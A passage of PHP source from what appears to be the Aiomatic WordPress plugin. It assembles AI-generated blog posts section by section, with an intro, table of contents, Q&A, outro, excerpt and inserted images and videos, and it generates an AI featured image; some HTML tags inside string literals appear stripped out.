sections!'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } else { $post_sections = $written; } } else { aiomatic_log_to_file('Empty processed sections prompt (2). Nothing to do.'); if($auto == 1) { aiomatic_clearFromList($param, $type); } return 'fail'; } } else { if($post_sections_list != '') { $post_sections = $spintax->Parse($post_sections_list); $post_sections = str_replace('%%topic%%', $post_topic, $post_sections); } } $post_sections = aiomatic_filter_sections($post_sections); $new_post_content = ''; if(stristr($run_regex_on, 'intro') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $intro_prompt); if($temp_cont !== NULL) { $intro_prompt = $temp_cont; } } } } if($intro_prompt != '') { $my_intro_prompt = $intro_prompt; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_intro_prompt = aiomatic_replacetopics($my_intro_prompt, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_intro_prompt = replaceAIPostShortcodes($my_intro_prompt, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if($my_intro_prompt != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based intro')); $written = aiomatic_write_content($my_intro_prompt, $topic_intro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'intro', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate intro for section: ' . $current_section); continue; } else { if($new_post_content != '') { $new_post_content .= ' '; } $new_post_content .= $written; } } else { aiomatic_log_to_file('Empty processed intro prompt. Nothing to do.'); } } if(stristr($topic_images_bck, '-') !== false) { preg_match('/\s*(\d+)\s*-\s*(\d+)\s*/', $topic_images_bck, $matches); if(isset($matches[2]) && $matches[2] != '' && isset($matches[1]) && $matches[1] != '') { $txmin = intval($matches[1]); $txmax = intval($matches[2]); $topic_images = mt_rand($txmin, $txmax); } else { $topic_images = $topic_images_bck; } } if($heading_image_loc == 'bottom') { $img_go = false; $vid_go = false; $vid_stopped = false; $imgage_fail = true; if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images)) { $img_go = true; } if($topic_videos != '' && is_numeric($topic_videos) && $topic_videos > $added_videos) { $vid_go = true; } if($img_go == true && $vid_go == true) { $locrandme = rand(1,100); if($locrandme > 50) { $vid_go = false; $vid_stopped = true; } else { $img_go = false; } } if($img_go == true) { if($new_post_content !== '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Searching for royalty free image')); $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); if($new_img !== false && !in_array($new_img, $added_img_list)) { $new_post_content .= '
            ' . esc_attr($post_title) . '
            '; $added_img_list[] = $new_img; $added_images++; $imgage_fail = false; } } } if($vid_go == true || ($imgage_fail == true && $vid_stopped == true)) { $new_vid = aiomoatic_get_video($current_section); if($new_vid !== false && !in_array($new_vid, $added_vid_list)) { $new_post_content .= $new_vid; $added_vid_list[] = $new_vid; $added_videos++; } } } if($title_outro != '') { $my_title_outro = $title_outro; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_title_outro = aiomatic_replacetopics($my_title_outro, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_title_outro = replaceAIPostShortcodes($my_title_outro, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $my_title_outro = $spintax->Parse(trim($my_title_outro)); } if(!empty($title_toc)) { $my_title_toc = $title_toc; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_title_toc = aiomatic_replacetopics($my_title_toc, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_title_toc = replaceAIPostShortcodes($my_title_toc, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $my_title_toc = $spintax->Parse(trim($my_title_toc)); } if($title_qa != '') { $my_title_qa = $title_qa; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_title_qa = aiomatic_replacetopics($my_title_qa, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_title_qa = replaceAIPostShortcodes($my_title_qa, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $my_title_qa = $spintax->Parse(trim($my_title_qa)); } if($content_prompt != '') { $last_section_content = ''; if($single_content_call == '1') { $current_section = $post_sections; $my_post_content = $content_prompt; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_post_content = aiomatic_replacetopics($my_post_content, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_post_content = replaceAIPostShortcodes($my_post_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $my_post_content = str_replace('%%article_so_far%%', $new_post_content, $my_post_content); $my_post_content = str_replace('%%last_section_content%%', $last_section_content, $my_post_content); if(stristr($run_regex_on, 'content') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_content); if($temp_cont !== NULL) { $my_post_content = $temp_cont; } } } } if($my_post_content != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based single content')); $written = aiomatic_write_content($my_post_content, $topic_content_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'content', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate topic list for section: ' . $current_section); continue; } else { if($new_post_content != '') { $new_post_content .= ' '; } $new_img_arr = array(); if($topic_images != '' && is_numeric($topic_images) && intval($topic_images) - 2 > $added_images) { $howmore = intval($topic_images) - 2; for($cont = 0; $cont < $howmore; $cont++) { if($search_query_repetition == '1') { $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } else { $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } if($new_img !== false && !in_array($new_img, $added_img_list)) { $new_post_content .= '
            ' . esc_attr($current_section) . '
            '; $added_img_list[] = $new_img; $new_img_arr[] = $new_img; $added_images++; } } } if(count($new_img_arr) > 0) { $written_arr = preg_split("/\r\n|\n|\r/", $written); if(count($written_arr) > 1) { foreach($new_img_arr as $new_img_x) { array_splice($written_arr, rand(0, count($written_arr)), 0, '
            '); } $written = implode('\r\n', $written_arr); } } $new_vid_arr = array(); $new_post_content .= $written; if($topic_videos != '' && is_numeric($topic_videos) && intval($topic_videos) > $added_videos) { $howmore = intval($topic_videos) - $added_videos; for($cont = 0; $cont < $howmore; $cont++) { $new_vid = aiomoatic_get_video($current_section); if($new_vid !== false && !in_array($new_vid, $added_vid_list)) { $new_post_content .= $new_vid; $added_vid_list[] = $new_vid; $new_vid_arr[] = $new_vid; $added_videos++; } } } if(count($new_vid_arr) > 0) { $written_arr = preg_split("/\r\n|\n|\r/", $written); if(count($written_arr) > 1) { foreach($new_vid_arr as $new_img_x) { array_splice($written_arr, rand(0, count($written_arr)), 0, '
            '); } $written = implode('\r\n', $written_arr); } } } } else { aiomatic_log_to_file('Empty processed topic prompt. Nothing to do.'); } } else { if($post_sections != '') { $post_sections_arr = preg_split('/\r\n|\r|\n/', $post_sections); } else { $post_sections_arr = array(); } if(stristr($section_count, '-') === false && is_numeric($section_count)) { $snum = intval($section_count); if($snum > 0 && count($post_sections_arr) > $snum) { $post_sections_arr = array_slice($post_sections_arr, 0, $snum); } } $toc = ''; if($enable_toc == '1') { if(!empty($title_toc)) { if($my_title_toc != '') { $toc .= '

            ' . $my_title_toc . '

            '; } } $toc .= '
              '; foreach($post_sections_arr as $current_section) { if(!empty($current_section)) { $toc .= '
            • ' . $current_section . '
            • '; } } if($title_qa != '') { if($my_title_qa != '') { if($qa_prompt != '' && $enable_qa == '1') { $toc .= '
            • ' . $my_title_qa . '
            • '; } } } if($title_outro != '') { if($my_title_outro != '') { if($outro_prompt != '') { $toc .= '
            • ' . $my_title_outro . '
            • '; } } } $toc .= '
            '; $new_post_content .= '
            ' . $toc . '
            '; } $section_cont = 1; $last_section_content = ''; foreach($post_sections_arr as $current_section) { $current_section = trim($current_section); $current_section = trim($current_section, '.;'); if(empty($current_section)) { continue; } $my_post_content = $content_prompt; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_post_content = aiomatic_replacetopics($my_post_content, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_post_content = replaceAIPostShortcodes($my_post_content, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); $my_post_content = str_replace('%%article_so_far%%', $new_post_content, $my_post_content); $my_post_content = str_replace('%%last_section_content%%', $last_section_content, $my_post_content); if(stristr($run_regex_on, 'content') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_content); if($temp_cont !== NULL) { $my_post_content = $temp_cont; } } } } if($my_post_content != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based section #' . $section_cont)); $section_cont++; $written = aiomatic_write_content($my_post_content, $topic_content_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'content', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate content for section: ' . $current_section); continue; } else { if($heading_image_loc == 'top') { $img_go = false; $vid_go = false; $vid_stopped = false; $imgage_fail = true; if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images)) { $img_go = true; } if($topic_videos != '' && is_numeric($topic_videos) && $topic_videos > $added_videos) { $vid_go = true; } if($img_go == true && $vid_go == true) { $locrandme = rand(1,100); if($locrandme > 50) { $vid_go = false; $vid_stopped = true; } else { $img_go = false; } } if($img_go == true) { if($new_post_content !== '') { if($search_query_repetition == '1') { $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } else { $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } if($new_img !== false && !in_array($new_img, $added_img_list)) { $new_post_content .= '
            ' . esc_attr($current_section) . '
            '; $added_img_list[] = $new_img; $added_images++; $imgage_fail = false; } } } if($vid_go == true || ($imgage_fail == true && $vid_stopped == true)) { $new_vid = aiomoatic_get_video($current_section); if($new_vid !== false && !in_array($new_vid, $added_vid_list)) { $new_post_content .= $new_vid; $added_vid_list[] = $new_vid; $added_videos++; } } } $written = str_ireplace($current_section, '', $written); preg_match_all('#\d+\.\s*([\s\S]*)#', $current_section, $mxatches); if(isset($mxatches[1][0])) { $written = str_ireplace(trim($mxatches[1][0]), '', $written); $written = str_ireplace(str_replace(['"', '\''], '', $mxatches[1][0]), '', $written); } $written = str_ireplace('

            ', '', $written); $written = str_ireplace('

            ', '', $written); if($sections_role == 'h2') { $new_post_content .= '

            ' . $current_section . '

            '; } elseif($sections_role == 'h3') { $new_post_content .= '

            ' . $current_section . '

            '; } elseif($sections_role == 'b') { $new_post_content .= '' . $current_section . ''; } elseif($sections_role == 'i') { $new_post_content .= '' . $current_section . ''; } elseif($sections_role == 'bi') { $new_post_content .= '' . $current_section . ''; } elseif($sections_role == 'p') { $new_post_content .= '

            ' . $current_section . '

            '; } elseif($sections_role == 'x') { $new_post_content .= '
            ' . $current_section . '
            '; } if($heading_image_loc == 'heading') { $img_go = false; $vid_go = false; $vid_stopped = false; $imgage_fail = true; if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images)) { $img_go = true; } if($topic_videos != '' && is_numeric($topic_videos) && $topic_videos > $added_videos) { $vid_go = true; } if($img_go == true && $vid_go == true) { $locrandme = rand(1,100); if($locrandme > 50) { $vid_go = false; $vid_stopped = true; } else { $img_go = false; } } if($img_go == true) { if($new_post_content !== '') { if($search_query_repetition == '1') { $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } else { $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } if($new_img !== false && !in_array($new_img, $added_img_list)) { $new_post_content .= '
            ' . esc_attr($current_section) . '
            '; $added_img_list[] = $new_img; $added_images++; $imgage_fail = false; } } } if($vid_go == true || ($imgage_fail == true && $vid_stopped == true)) { $new_vid = aiomoatic_get_video($current_section); if($new_vid !== false && !in_array($new_vid, $added_vid_list)) { $new_post_content .= $new_vid; $added_vid_list[] = $new_vid; $added_videos++; } } } $last_section_content = $written; $new_post_content .= $written; } if($heading_image_loc == 'bottom') { $img_go = false; $vid_go = false; $vid_stopped = false; $imgage_fail = true; if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images)) { $img_go = true; } if($topic_videos != '' && is_numeric($topic_videos) && $topic_videos > $added_videos) { $vid_go = true; } if($img_go == true && $vid_go == true) { $locrandme = rand(1,100); if($locrandme > 50) { $vid_go = false; $vid_stopped = true; } else { $img_go = false; } } if($img_go) { if($new_post_content !== '') { if($search_query_repetition == '1') { $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } else { $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); } if($new_img !== false && !in_array($new_img, $added_img_list)) { $new_post_content .= '
            ' . esc_attr($current_section) . '
            '; $added_img_list[] = $new_img; $added_images++; $imgage_fail = false; } } } if($vid_go == true || ($imgage_fail == true && $vid_stopped == true)) { $new_vid = aiomoatic_get_video($current_section); if($new_vid !== false && !in_array($new_vid, $added_vid_list)) { $new_post_content .= $new_vid; $added_vid_list[] = $new_vid; $added_videos++; } } } } else { aiomatic_log_to_file('Empty processed content prompt. Nothing to do.'); } } } } if($enable_qa == '1') { if($qa_prompt != '') { $my_qa_prompt = $qa_prompt; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_qa_prompt = aiomatic_replacetopics($my_qa_prompt, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_qa_prompt = replaceAIPostShortcodes($my_qa_prompt, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if(stristr($run_regex_on, 'qa') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_qa_prompt); if($temp_cont !== NULL) { $my_qa_prompt = $temp_cont; } } } } if($my_qa_prompt != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based qa')); $written = aiomatic_write_content($my_qa_prompt, $topic_qa_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'qa', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate Q&A for topic: ' . $current_section); continue; } else { if($new_post_content != '') { $new_post_content .= ' '; } if($my_title_qa !== '') { if($sections_role == 'h2') { $new_post_content .= '

            ' . $my_title_qa . '

            '; } elseif($sections_role == 'h3') { $new_post_content .= '

            ' . $my_title_qa . '

            '; } elseif($sections_role == 'b') { $new_post_content .= '' . $my_title_qa . ''; } elseif($sections_role == 'i') { $new_post_content .= '' . $my_title_qa . ''; } elseif($sections_role == 'bi') { $new_post_content .= '' . $my_title_qa . ''; } elseif($sections_role == 'p') { $new_post_content .= '

            ' . $my_title_qa . '

            '; } elseif($sections_role == 'x') { $new_post_content .= '
            ' . $my_title_qa . '
            '; } else { $new_post_content .= '
            ' . $my_title_qa . '
            '; } } $new_post_content .= $written; } } else { aiomatic_log_to_file('Empty processed Q&A prompt. Nothing to do.'); } } } if($outro_prompt != '') { $my_outro_prompt = $outro_prompt; $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_outro_prompt = aiomatic_replacetopics($my_outro_prompt, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_outro_prompt = replaceAIPostShortcodes($my_outro_prompt, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if(stristr($run_regex_on, 'outro') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_outro_prompt); if($temp_cont !== NULL) { $my_outro_prompt = $temp_cont; } } } } if($my_outro_prompt != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based outro')); $written = aiomatic_write_content($my_outro_prompt, $topic_outro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'outro', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate outro for section: ' . $current_section); continue; } else { if($new_post_content != '') { $new_post_content .= ' '; } if($title_outro !== '') { if($my_title_outro != '') { if($sections_role == 'h2') { $new_post_content .= '

            ' . $my_title_outro . '

            '; } elseif($sections_role == 'h3') { $new_post_content .= '

            ' . $my_title_outro . '

            '; } elseif($sections_role == 'b') { $new_post_content .= '' . $my_title_outro . ''; } elseif($sections_role == 'i') { $new_post_content .= '' . $my_title_outro . ''; } elseif($sections_role == 'bi') { $new_post_content .= '' . $my_title_outro . ''; } elseif($sections_role == 'p') { $new_post_content .= '

            ' . $my_title_outro . '

            '; } elseif($sections_role == 'x') { $new_post_content .= '
            ' . $my_title_outro . '
            '; } else { $new_post_content .= '
            ' . $my_title_outro . '
            '; } } } else { $new_post_content .= '

            '; } $new_post_content .= $written; } } else { aiomatic_log_to_file('Empty processed outro prompt. Nothing to do.'); } } if($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images) { if($new_post_content !== '') { $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model); if($new_img !== false && !in_array($new_img, $added_img_list)) { $new_post_content .= '
            ' . esc_attr($post_title) . '
            '; $added_img_list[] = $new_img; $added_images++; } } } if($new_post_content == '') { aiomatic_log_to_file("Warning, empty post content because of empty content prompt!"); } $new_post_excerpt = ''; $current_section = $post_sections; if($excerpt_prompt != '') { if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $excerpt_prompt_arr = preg_split('/\r\n|\r|\n/', $excerpt_prompt); $my_post_excerpt = $excerpt_prompt_arr[array_rand($excerpt_prompt_arr)]; } else { $my_post_excerpt = $excerpt_prompt; } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $my_post_excerpt = aiomatic_replacetopics($my_post_excerpt, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $my_post_excerpt = replaceAIPostShortcodes($my_post_excerpt, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); if(stristr($run_regex_on, 'excerpt') !== false) { if ($strip_by_regex_prompts !== '') { $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts); $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts); $xcnt = 0; foreach($xstrip_by_regex as $sbr) { if(isset($xreplace_regex[$xcnt])) { $repreg = $xreplace_regex[$xcnt]; } else { $repreg = ''; } $xcnt++; $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_excerpt); if($temp_cont !== NULL) { $my_post_excerpt = $temp_cont; } } } } if($my_post_excerpt != '') { aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating topic based excerpt')); $written = aiomatic_write_content($my_post_excerpt, $topic_excerpt_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'excerpt', 'user', $assistant_id, $thread_id); if($written === false) { aiomatic_log_to_file('Failed to generate excerpt!'); } else { $new_post_excerpt = $written; } } else { aiomatic_log_to_file('Empty processed excerpt prompt. Nothing to do.'); } } $get_img = ''; if($royalty_free == '1') { if($enable_ai_images == '1') { $query_words = $post_title; if($image_query == '') { $image_query = $temp_post; } if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = $orig_ai_command_image; if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on') { $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image); $ai_command_image = array_filter($ai_command_image); if(count($ai_command_image) > 0) { $ai_command_image = $ai_command_image[array_rand($ai_command_image)]; } else { $ai_command_image = ''; } } $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command); $ai_command_image = aiomatic_replacetopics($ai_command_image, $za_post_title, $content_language, $writing_style, $writing_tone, $post_topic, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list); $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); if(!empty($ai_command_image)) { $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } else { $ai_command_image = trim(strip_tags($post_title)); } $ai_command_image = trim($ai_command_image); if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt')) { $txt_content = aiomatic_get_web_page($ai_command_image); if ($txt_content !== FALSE) { $txt_content = preg_split('/\r\n|\r|\n/', $txt_content); $txt_content = array_filter($txt_content); if(count($txt_content) > 0) { $txt_content = $txt_content[array_rand($txt_content)]; if(trim($txt_content) != '') { $ai_command_image = $txt_content; $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image); $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append); } } } } if(empty($ai_command_image)) { aiomatic_log_to_file('Empty API featured image seed expression provided!'); } else { if(strlen($ai_command_image) > 400) { $ai_command_image = aiomatic_substr($ai_command_image, 0, 400); } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { $api_service = aiomatic_get_api_service($token, $image_model); aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image); } $skip_this_copy = true; if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') { $skip_this_copy = false; } if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on') { $skip_this_copy = false; } $aierror = ''; aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image')); $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'featuredImage', $skip_this_copy, 0, $aierror, $image_model); if($get_img !== false) { foreach($get_img as $tmpimg) { $get_img = $tmpimg; break; } if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) { aiomatic_log_to_file('AI generated featured image returned: ' . $get_img); } } else { aiomatic_log_to_file('Failed to generate AI featured image: ' . $aierror); $get_img = ''; } } } else { aiomatic_log_to_file('Empty AI featured image query entered.'); } } elseif($enable_ai_images == '2') { $query_words = $post_title; if($image_query == '') { $image_query = $temp_post; } if($orig_ai_command_image == '') { $orig_ai_command_image = $image_query; } if($orig_ai_command_image != '') { $ai_command_image = 